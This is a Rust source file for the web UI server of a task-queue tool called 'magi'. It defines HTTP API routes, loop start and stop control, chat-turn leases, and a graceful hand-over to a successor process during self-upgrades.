1#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134pub const DEFAULT_PORT: u16 = 7878;
136
137const POLL: Duration = Duration::from_secs(1);
139
140const KEEPALIVE: Duration = Duration::from_secs(15);
144
145const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161const LIST_DEFAULT: usize = 50;
165const LIST_MAX: usize = 500;
167
168const TITLE_MAX: usize = 72;
170
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188const FILENAME_HEADER: &str = "x-filename";
192
193const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216 font-src data:; base-uri 'none'; form-action 'none'; \
217 frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226 Auto,
228 Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233 type Err = String;
234
235 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239 if s.eq_ignore_ascii_case("auto") {
240 return Ok(Self::Auto);
241 }
242 s.parse()
243 .map(Self::Addr)
244 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245 }
246}
247
248impl std::fmt::Display for Bind {
249 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250 match self {
251 Self::Auto => f.write_str("auto"),
252 Self::Addr(addr) => write!(f, "{addr}"),
253 }
254 }
255}
256
257#[derive(Debug, Clone)]
259pub struct Opts {
260 pub bind: Bind,
262 pub port: u16,
264 pub repo: PathBuf,
266 pub open: bool,
269 pub merge: Option<String>,
277}
278
279impl Default for Opts {
280 fn default() -> Self {
281 Self {
282 bind: Bind::Auto,
283 port: DEFAULT_PORT,
284 repo: PathBuf::from("."),
285 open: false,
286 merge: None,
287 }
288 }
289}
290
291#[derive(Debug, Clone)]
297pub struct Ui {
298 queue: Queue,
299 questions: Questions,
300 notices: Notices,
303 talks: Talks,
304 runs: PathBuf,
305 home: PathBuf,
306 repo: PathBuf,
307 worktrees_root: PathBuf,
314 talk_turns: Arc<Mutex<TalkTurns>>,
322 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
326 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
329 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
331 resuming: Arc<Mutex<HashSet<String>>>,
339 repos_cache: repos::Cache,
343 machine_config: Option<PathBuf>,
347 merge: Option<String>,
349 looping: Arc<Mutex<LoopState>>,
351 launch: Launch,
363 #[cfg(test)]
366 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
367}
368
369#[cfg(test)]
389struct BusyQueueGate {
390 reached: tokio::sync::oneshot::Sender<()>,
391 release: std::sync::mpsc::Receiver<()>,
392}
393
394#[cfg(test)]
395impl std::fmt::Debug for BusyQueueGate {
396 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
397 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
398 }
399}
400
401impl Ui {
402 pub fn new(
404 queue: Queue,
405 questions: Questions,
406 talks: Talks,
407 runs: PathBuf,
408 home: PathBuf,
409 repo: PathBuf,
410 ) -> Self {
411 Self {
412 queue,
413 questions,
414 notices: Notices::at(home.join("notifications")),
415 talks,
416 runs,
417 home,
418 repo,
419 worktrees_root: run::default_worktree_root(),
423 talk_turns: Arc::default(),
424 upgrade_gate: Arc::default(),
425 upgrade_spawned: Arc::default(),
426 upgrade_request_error: Arc::default(),
427 resuming: Arc::default(),
428 repos_cache: repos::Cache::new(),
429 machine_config: Config::machine_layer(),
430 merge: None,
431 looping: Arc::default(),
432 launch: launch_daemon,
433 #[cfg(test)]
434 busy_queue_gate: Arc::default(),
435 }
436 }
437
438 pub fn open(repo: PathBuf) -> Self {
441 Self::new(
442 Queue::open(),
443 Questions::open(),
444 Talks::open(),
445 run::runs_root(),
446 run::home(),
447 repo,
448 )
449 }
450
451 #[must_use]
458 pub fn with_merge(mut self, merge: Option<String>) -> Self {
459 self.merge = merge;
460 self
461 }
462
463 #[cfg(test)]
466 #[must_use]
467 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
468 self.machine_config = path;
469 self
470 }
471
472 #[must_use]
477 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
478 self.worktrees_root = root;
479 self
480 }
481
482 #[cfg(test)]
487 #[must_use]
488 fn with_launch(mut self, launch: Launch) -> Self {
489 self.launch = launch;
490 self
491 }
492
493 #[cfg(test)]
503 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
504 *self
505 .busy_queue_gate
506 .lock()
507 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
508 }
509
510 fn looping(&self) -> Arc<Mutex<LoopState>> {
512 Arc::clone(&self.looping)
513 }
514
515 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
522 if let Some(other) = foreign {
523 return Err(ApiError::conflict(format!(
524 "{} is already running the loop, so this one will not start a \
525 second: two loops on one queue race for the same claims and \
526 burn the agent quota twice over. Stop it where it was \
527 started.",
528 other.who()
529 )));
530 }
531 let mut state = self.lock_loop();
532 if state.live.as_ref().is_some_and(Live::alive) {
533 return Err(ApiError::conflict(format!(
534 "this magi web process (pid {}) is already running the loop",
535 std::process::id()
536 )));
537 }
538
539 let stop = daemon::Stop::new();
540 let opts = daemon::Opts {
544 repo: self.repo.clone(),
545 merge: self.merge.clone(),
546 worktrees_root: Some(self.worktrees_root.clone()),
553 ..daemon::Opts::default()
554 };
555 let launch = self.launch;
556 let looping = Arc::clone(&self.looping);
557 let handle = tokio::spawn({
558 let opts = opts.clone();
559 let stop = stop.clone();
560 async move {
561 let failure = match launch(opts, stop).await {
562 Ok(()) => None,
563 Err(e) => Some(format!("{e:#}")),
564 };
565 match &failure {
566 Some(why) => tracing::error!("the loop stopped: {why}"),
567 None => tracing::info!("the loop stopped"),
568 }
569 let mut state = lock_or_recover(&looping);
575 state.live = None;
576 state.last_error = failure;
577 state.rev += 1;
578 }
579 });
580 tracing::info!(
581 "the loop is now running in this process: repo {}, merge {}",
582 opts.repo.display(),
583 opts.merge.as_deref().unwrap_or("as the config says")
584 );
585 state.live = Some(Live { stop, handle, opts });
586 state.last_error = None;
589 state.rev += 1;
590 Ok(())
591 }
592
593 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
599 if let Some(other) = foreign {
600 return Err(ApiError::conflict(format!(
601 "the loop belongs to {}, and this process cannot stop it - \
602 stop it where it was started. A button that silently did \
603 nothing would be worse than this refusal.",
604 other.who()
605 )));
606 }
607 let mut state = self.lock_loop();
608 if !park {
611 state.resume_after_handover = false;
612 }
613 let Some(live) = state.live.as_ref() else {
614 return Ok(());
615 };
616 if live.stop.stopped() && (!park || live.stop.parking()) {
620 return Ok(());
621 }
622 if park {
623 live.stop.park(crate::run::ParkCause::Operator);
624 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
625 } else {
626 live.stop.stop();
627 tracing::info!("the loop was asked to stop; a run in flight is finished first");
628 }
629 state.rev += 1;
630 Ok(())
631 }
632
633 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
640 let state = self.lock_loop();
641 let live = state.live.as_ref().filter(|live| live.alive());
644 LoopView {
645 running: live.is_some(),
646 stopping: live.is_some_and(|live| live.stop.finishing()),
647 parking: live.is_some_and(|live| live.stop.parking()),
648 owned: live.is_some(),
649 repo: live
650 .map_or(&self.repo, |live| &live.opts.repo)
651 .display()
652 .to_string(),
653 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
654 last_error: state.last_error.clone(),
655 daemon: DaemonView::of(reading),
656 }
657 }
658
659 fn resume_after_handover(&self, resume: bool) -> bool {
665 if !resume {
666 return false;
667 }
668 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
669 match self.start_loop(foreign) {
670 Ok(()) => true,
671 Err(e) => {
672 let why = format!(
673 "the loop could not be resumed after the upgrade: {}",
674 e.message
675 );
676 tracing::warn!("{why}");
677 let mut state = self.lock_loop();
678 state.last_error = Some(why);
679 state.rev += 1;
680 false
681 }
682 }
683 }
684
685 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
687 lock_or_recover(&self.looping)
688 }
689
690 fn is_thinking(&self, id: &str) -> bool {
696 self.talk_turns
697 .lock()
698 .is_ok_and(|turns| turns.live.contains(id))
699 || self.talks.turn_held(id)
702 }
703
704 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
723 self.claim_talk_turn(id, false)
724 }
725
726 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
729 self.claim_talk_turn(id, true)
730 }
731
732 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
733 let mut live = self
734 .talk_turns
735 .lock()
736 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
737 if live.parking {
738 if queued {
739 *live.queued.entry(id.to_owned()).or_default() += 1;
742 return Ok(None);
743 }
744 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
745 }
746 let inserted = live.live.insert(id.to_owned());
747 let lease = if inserted {
751 match self.talks.claim_turn(id) {
752 Ok(Some(lease)) => Some(lease),
753 Ok(None) => {
754 live.live.remove(id);
755 None
756 }
757 Err(e) => {
758 live.live.remove(id);
759 return Err(ApiError::from(e));
760 }
761 }
762 } else {
763 None
764 };
765 if lease.is_none() {
766 if queued {
767 *live.queued.entry(id.to_owned()).or_default() += 1;
772 }
773 return Ok(None);
774 }
775 Ok(Some(TalkTurnGuard {
776 talk: id.to_owned(),
777 turns: Arc::clone(&self.talk_turns),
778 released: false,
779 lease,
780 }))
781 }
782
783 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
788 let mut live = self
789 .talk_turns
790 .lock()
791 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
792 if live.parking || live.live.contains(id) {
794 return Ok(TalkTurnStart::Busy);
795 }
796 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
797 return Ok(TalkTurnStart::Foreign);
798 };
799 let talk = self.talks.get(id).map_err(ApiError::from)?;
801 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
802 return Ok(TalkTurnStart::Pending);
803 }
804 live.live.insert(id.to_owned());
805 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
806 talk: id.to_owned(),
807 turns: Arc::clone(&self.talk_turns),
808 released: false,
809 lease: Some(lease),
810 }))
811 }
812
813 fn queued_generation(&self, id: &str) -> u64 {
814 let live = self
815 .talk_turns
816 .lock()
817 .unwrap_or_else(PoisonError::into_inner);
818 live.queued.get(id).copied().unwrap_or(0)
819 }
820
821 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
823 Arc::clone(&self.talk_turns)
824 }
825
826 fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
833 let parking = {
834 let mut state = self.lock_loop();
835 let resume = state.resume_after_handover
845 || state
846 .live
847 .as_ref()
848 .is_some_and(|live| live.alive() && !live.stop.stopped());
849 state.resume_after_handover = resume;
850 let Some(live) = state.live.as_ref() else {
851 return Ok(None);
852 };
853 let busy = live.stop.busy_now();
854 live.stop.park(crate::run::ParkCause::Upgrade {
855 from: from.to_owned(),
856 to: to.map(|t| t.trim_start_matches('v').to_owned()),
857 });
858 state.rev += 1;
859 busy
860 };
861 Ok(if parking {
862 daemon::current_work(&self.home, jiff::Timestamp::now())
867 .into_iter()
868 .next()
869 .map(|c| c.run)
870 } else {
871 None
872 })
873 }
874
875 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
879 let mut live = self
880 .resuming
881 .lock()
882 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
883 if !live.insert(id.to_owned()) {
884 return Err(ApiError::conflict(format!(
885 "run {id} is already being resumed"
886 )));
887 }
888 Ok(ResumeGuard {
889 run: id.to_owned(),
890 resuming: Arc::clone(&self.resuming),
891 })
892 }
893
894 pub fn router(self) -> Router {
902 Router::new()
903 .route("/", get(index))
904 .route("/app.css", get(app_css))
905 .route("/app.js", get(app_js))
906 .route("/api/health", get(health))
907 .route("/api/loop", get(loop_get).post(loop_post))
908 .route("/api/upgrade", post(upgrade_post))
909 .route("/api/runs", get(runs_list))
910 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
911 .route("/api/runs/{id}/report", get(run_report))
912 .route("/api/runs/{id}/report.json", get(run_report_json))
913 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
914 .route("/api/runs/{id}/fold", post(run_fold))
915 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
916 .route("/api/runs/{id}/resume", post(run_resume))
917 .route("/api/queue", get(queue_list))
918 .route("/api/search", get(search_get))
919 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
920 .route("/api/stats", get(stats_get))
921 .route("/api/repos", get(repos_list))
922 .route("/api/settings", get(settings_get))
923 .route("/api/settings/roles", put(settings_put_roles))
924 .route("/api/queue/{id}/hold", post(queue_hold))
925 .route("/api/queue/{id}/release", post(queue_release))
926 .route("/api/queue/{id}/priority", post(queue_priority))
927 .route("/api/queue/{id}/urgent", post(queue_urgent))
928 .route("/api/queue/{id}/implementers", post(queue_implementers))
929 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
930 .route("/api/queue/{id}/edit", post(queue_edit))
931 .route("/api/queue/{id}/done", post(queue_done))
932 .route("/api/questions", get(questions_list))
933 .route("/api/questions/{id}/answer", post(question_answer))
934 .route("/api/questions/{id}/say", post(question_say))
935 .route("/api/questions/{id}/consult", post(question_consult))
936 .route("/api/questions/{id}/panel", get(question_panel))
937 .route("/api/questions/{id}/panel/index.html", get(question_panel))
945 .route("/api/questions/{id}/panel/{name}", get(question_asset))
946 .route("/api/questions/{id}/asset/{name}", get(question_asset))
947 .route("/api/notifications", get(notifications_list))
948 .route("/api/notifications/read-all", post(notifications_read_all))
949 .route("/api/notifications/{id}/read", post(notification_read))
950 .route(
951 "/api/notifications/{id}/dismiss",
952 post(notification_dismiss),
953 )
954 .route("/api/talks", get(talks_list).post(talk_post))
955 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
956 .route("/api/talks/{id}/say", post(talk_say))
957 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
958 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
959 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
960 .route("/api/talks/{id}/agent", post(talk_agent))
961 .route("/api/talks/{id}/persona", post(talk_persona))
962 .route("/api/talks/{id}/implementers", post(talk_implementers))
963 .route("/api/talks/{id}/close", post(talk_close))
964 .route("/api/talks/{id}/reopen", post(talk_reopen))
965 .route(
971 "/api/talks/{id}/attachments",
972 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
973 )
974 .route(
975 "/api/talks/{id}/attachments/{att}",
976 get(talk_attachment_get),
977 )
978 .route("/api/talks/{id}/avatar", get(talk_avatar))
979 .route("/avatars/operator.svg", get(operator_avatar))
980 .route("/avatars/magi", get(magi_avatar))
981 .route(
982 "/api/magi-icon",
983 get(magi_icon_get)
984 .put(magi_icon_put)
985 .delete(magi_icon_delete),
986 )
987 .route("/api/events", get(events))
988 .with_state(Arc::new(self))
989 }
990}
991
992const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
995
996#[derive(Debug)]
1002struct TalkTurnGuard {
1003 talk: String,
1004 turns: Arc<Mutex<TalkTurns>>,
1005 released: bool,
1006 lease: Option<crate::talk::TurnLease>,
1008}
1009
1010#[derive(Debug, Default)]
1017struct TalkTurns {
1018 live: HashSet<String>,
1019 queued: HashMap<String, u64>,
1020 parking: bool,
1024}
1025
1026enum TalkTurnStart {
1029 Claimed(TalkTurnGuard),
1030 Busy,
1031 Foreign,
1034 Pending,
1035}
1036
1037impl TalkTurnGuard {
1038 fn owns(&self) -> bool {
1042 self.lease
1043 .as_ref()
1044 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1045 }
1046
1047 async fn respond(
1050 &self,
1051 talk: &mut Talk,
1052 talks: &Talks,
1053 cfg: &Config,
1054 text: &str,
1055 ) -> anyhow::Result<()> {
1056 let lease = self
1057 .lease
1058 .as_ref()
1059 .context("the turn guard no longer holds its lease")?;
1060 talk::respond(lease, talk, talks, cfg, text).await
1061 }
1062
1063 fn release(mut self, live: &mut TalkTurns) {
1066 self.lease = None;
1070 live.live.remove(&self.talk);
1071 live.queued.remove(&self.talk);
1072 self.released = true;
1073 }
1074}
1075
1076impl Drop for TalkTurnGuard {
1077 fn drop(&mut self) {
1078 if self.released {
1079 return;
1080 }
1081 drop(self.lease.take());
1083 if let Ok(mut live) = self.turns.lock() {
1084 live.live.remove(&self.talk);
1085 live.queued.remove(&self.talk);
1086 }
1087 }
1088}
1089
1090struct ResumeGuard {
1092 run: String,
1093 resuming: Arc<Mutex<HashSet<String>>>,
1094}
1095
1096impl Drop for ResumeGuard {
1097 fn drop(&mut self) {
1098 if let Ok(mut live) = self.resuming.lock() {
1099 live.remove(&self.run);
1100 }
1101 }
1102}
1103
1104async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1114 const WINDOW: Duration = Duration::from_secs(10);
1115 const GAP: Duration = Duration::from_millis(250);
1116
1117 let deadline = std::time::Instant::now() + WINDOW;
1118 let mut said = false;
1119 loop {
1120 match tokio::net::TcpListener::bind(socket).await {
1121 Ok(listener) => return Ok(listener),
1122 Err(e)
1123 if e.kind() == std::io::ErrorKind::AddrInUse
1124 && std::time::Instant::now() < deadline =>
1125 {
1126 if !said {
1127 said = true;
1128 tracing::info!(
1129 "{socket} is still held - waiting up to {}s for it, \
1130 which is what a restart looks like from here",
1131 WINDOW.as_secs()
1132 );
1133 }
1134 tokio::time::sleep(GAP).await;
1135 }
1136 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1137 }
1138 }
1139}
1140
1141static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1144
1145const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1147
1148fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1150 value.is_some_and(|v| v == "1")
1151}
1152
1153fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1176 let exe = std::env::current_exe().context("find this binary")?;
1177 let args: Vec<String> = std::env::args().skip(1).collect();
1178 updater::log_step(
1179 home,
1180 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1181 );
1182 let log_path = home.join(WEB_LOG);
1183 let open_log = || {
1184 std::fs::create_dir_all(home)?;
1185 std::fs::OpenOptions::new()
1186 .create(true)
1187 .append(true)
1188 .open(&log_path)
1189 };
1190 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1191 Ok(pair) => (
1192 std::process::Stdio::from(pair.0),
1193 std::process::Stdio::from(pair.1),
1194 ),
1195 Err(e) => {
1196 updater::log_warn(
1197 home,
1198 &format!(
1199 "could not open {}: {e}; the successor logs nowhere",
1200 log_path.display()
1201 ),
1202 );
1203 (std::process::Stdio::null(), std::process::Stdio::null())
1204 }
1205 };
1206
1207 let mut cmd = std::process::Command::new(&exe);
1208 if resume {
1209 cmd.env(RESUME_LOOP_ENV, "1");
1210 } else {
1211 cmd.env_remove(RESUME_LOOP_ENV);
1212 }
1213 cmd.args(&args)
1214 .stdin(std::process::Stdio::null())
1215 .stdout(out)
1216 .stderr(err);
1217 #[cfg(windows)]
1218 {
1219 use std::os::windows::process::CommandExt as _;
1220 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1223 }
1224 let child = cmd.spawn().context("start the successor")?;
1225 Ok(child.id())
1226}
1227
1228const WEB_LOG: &str = "web.log";
1230
1231async fn wait_for_handover(signal: &Notify) {
1235 signal.notified().await;
1236}
1237
1238pub async fn serve(opts: Opts) -> Result<()> {
1263 let (addr, warning) = resolve_bind(&opts.bind);
1264 if let Some(warning) = warning {
1265 tracing::warn!("{warning}");
1266 }
1267
1268 report::set_color(false);
1274
1275 let repo = normalize_default_repo(opts.repo).await;
1276 let ui = Ui::open(repo).with_merge(opts.merge);
1277 let home = ui.home.clone();
1282 let repo = ui.repo.clone();
1283 updater::reconcile_after_restart(&home);
1288 updater::log_step(
1289 &home,
1290 &format!(
1291 "web process started (version {}); handover log {}, successor output {}",
1292 env!("CARGO_PKG_VERSION"),
1293 updater::log_path(&home).display(),
1294 home.join(WEB_LOG).display()
1295 ),
1296 );
1297 updater::spawn_watchdog(home.clone());
1298 tokio::spawn(run_update_recheck(repo, home.clone()));
1307 let looping = ui.looping();
1308 let turns = ui.turns();
1309 let talk_store = ui.talks.clone();
1310 let socket = SocketAddr::new(addr, opts.port);
1311 let listener = bind_waiting(socket).await?;
1312 let url = format!("http://{addr}:{}", opts.port);
1313 tracing::info!(
1314 "magi web UI on {url} - there is no authentication, so anyone who can \
1315 reach this address can file and hold tasks: the tailnet is the \
1316 security boundary"
1317 );
1318 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1319 tracing::info!("resumed the loop the predecessor was running");
1320 } else {
1321 tracing::info!(
1322 "the queue loop is not running yet - start it from the UI, which is \
1323 the whole reason this process can: nothing in the queue moves until \
1324 something is running the loop"
1325 );
1326 }
1327 if opts.open {
1328 println!("{url}");
1332 }
1333
1334 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1337 let interrupted = async {
1338 if tokio::signal::ctrl_c().await.is_err() {
1339 std::future::pending::<()>().await;
1344 }
1345 };
1346 let handover = wait_for_handover(&HANDOVER);
1347 let outcome = tokio::select! {
1348 joined = &mut served => match joined {
1349 Ok(outcome) => outcome.context("serve the web UI"),
1350 Err(e) => Err(e).context("the task serving the web UI ended"),
1351 },
1352 () = interrupted => {
1353 tracing::info!("shutting down the web UI");
1354 finish_loop(&home, &looping, None).await;
1355 Ok(())
1356 }
1357 () = handover => {
1358 updater::log_step(&home, "serve: the select! woke on the handover signal");
1359 let successor_home = home.clone();
1360 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1361 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1362 spawn_successor(&successor_home, resume)
1363 })
1364 .await
1365 }
1366 };
1367 updater::log_step(
1368 &home,
1369 &match &outcome {
1370 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1371 Err(e) => format!("serve: returning an error: {e:#}"),
1372 },
1373 );
1374 outcome
1375}
1376
1377async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1398 if repo != FsPath::new(".") {
1399 return repo;
1400 }
1401 let Ok(canonical) = repo.canonicalize() else {
1402 return repo;
1403 };
1404 if git::toplevel(&canonical).await.is_ok() {
1405 return repo;
1406 }
1407 let Some(home) = dirs::home_dir() else {
1408 return repo;
1409 };
1410 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1411 Some(found) => {
1412 tracing::info!(
1413 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1414 canonical.display(),
1415 found.path.display(),
1416 found.reason,
1417 );
1418 found.path
1419 }
1420 None => repo,
1421 }
1422}
1423
1424async fn hand_over(
1454 home: &FsPath,
1455 looping: &Mutex<LoopState>,
1456 turns: &Arc<Mutex<TalkTurns>>,
1457 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1458 served: tokio::task::JoinHandle<std::io::Result<()>>,
1459 successor: impl FnOnce(bool) -> Result<u32>,
1460) -> Result<()> {
1461 updater::log_step(home, "hand_over: entered; writing the parking stage");
1462 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1466 if !recorded {
1467 updater::log_warn(
1468 home,
1469 "hand_over: upgrade.json is unreadable; no parking stage",
1470 );
1471 }
1472 finish_loop(home, looping, Some(&mut lease)).await;
1477 let parking = ParkingTurns::begin(turns);
1478 let talks_done = finish_talks(home, turns, talk_wait);
1479 tokio::pin!(talks_done);
1480 let mut beat = tokio::time::interval(LEASE_BEAT);
1481 let (abandoned, waited_for) = loop {
1482 tokio::select! {
1483 left = &mut talks_done => break left,
1484 _ = beat.tick() => lease.beat(),
1485 }
1486 };
1487 drop(lease);
1488 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1489 served.abort();
1490 let _ = served.await;
1491 updater::log_step(home, "hand_over: listener released");
1492 let resume = lock_or_recover(looping).resume_after_handover;
1495 match updater::read_progress(home) {
1496 Some(mut progress) => {
1497 progress.advance(updater::Stage::Restarting);
1498 if !abandoned.is_empty() {
1499 progress.detail = Some(format!(
1500 "handed over while {} still running after {} s",
1501 updater::talks_phrase(&abandoned),
1502 waited_for.as_secs()
1503 ));
1504 }
1505 updater::write_progress_logged(home, &progress);
1506 }
1507 None => updater::log_warn(
1508 home,
1509 "hand_over: upgrade.json is unreadable; no restarting stage",
1510 ),
1511 }
1512 updater::log_step(
1513 home,
1514 &format!("hand_over: starting the successor (resume={resume})"),
1515 );
1516 drop(parking);
1517 match successor(resume) {
1518 Ok(pid) => {
1519 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1520 Ok(())
1521 }
1522 Err(e) => {
1523 updater::log_warn(
1524 home,
1525 &format!("hand_over: the successor did not start: {e:#}"),
1526 );
1527 Err(e)
1528 }
1529 }
1530}
1531
1532const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1535
1536const TALK_POLL: Duration = Duration::from_millis(250);
1538
1539fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1542 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1543}
1544
1545fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1550 let default = Config::default().graph.timeout_talk;
1551 let longest = ids
1552 .iter()
1553 .map(|id| {
1554 talks
1555 .get(id)
1556 .ok()
1557 .and_then(|t| Config::discover(&t.repo, None).ok())
1558 .map_or(default, |(c, _)| c.graph.timeout_talk)
1559 })
1560 .max()
1561 .unwrap_or(default);
1562 talk_wait_bound(longest)
1563}
1564
1565struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1569
1570impl ParkingTurns {
1571 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1572 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1573 Self(Arc::clone(turns))
1574 }
1575}
1576
1577impl Drop for ParkingTurns {
1578 fn drop(&mut self) {
1579 self.0
1580 .lock()
1581 .unwrap_or_else(PoisonError::into_inner)
1582 .parking = false;
1583 }
1584}
1585
1586async fn finish_talks(
1591 home: &FsPath,
1592 turns: &Mutex<TalkTurns>,
1593 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1594) -> (Vec<String>, Duration) {
1595 let running = || {
1596 let mut ids: Vec<String> = turns
1597 .lock()
1598 .unwrap_or_else(PoisonError::into_inner)
1599 .live
1600 .iter()
1601 .cloned()
1602 .collect();
1603 let talks = talk::Talks::at(home.join("talks"));
1606 for t in talks.list() {
1607 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1608 ids.push(t.id);
1609 }
1610 }
1611 ids.sort();
1612 ids
1613 };
1614 let started = std::time::Instant::now();
1615 let mut seen = Vec::new();
1616 let mut bound = Duration::ZERO;
1617 loop {
1618 let ids = running();
1619 if ids != seen {
1620 bound = bound.max(bound_for(&ids));
1621 if ids.is_empty() {
1622 updater::log_step(home, "finish_talks: no chat turn is running");
1623 } else {
1624 updater::log_step(
1625 home,
1626 &format!(
1627 "finish_talks: waiting for {} to finish",
1628 updater::talks_phrase(&ids)
1629 ),
1630 );
1631 }
1632 updater::set_parked_talks(home, &ids);
1633 seen = ids;
1634 }
1635 if seen.is_empty() {
1636 return (Vec::new(), bound);
1637 }
1638 if started.elapsed() >= bound {
1639 updater::log_warn(
1640 home,
1641 &format!(
1642 "finish_talks: {} still running after {} s; handing over anyway",
1643 updater::talks_phrase(&seen),
1644 bound.as_secs()
1645 ),
1646 );
1647 return (seen, bound);
1648 }
1649 tokio::time::sleep(TALK_POLL).await;
1650 }
1651}
1652
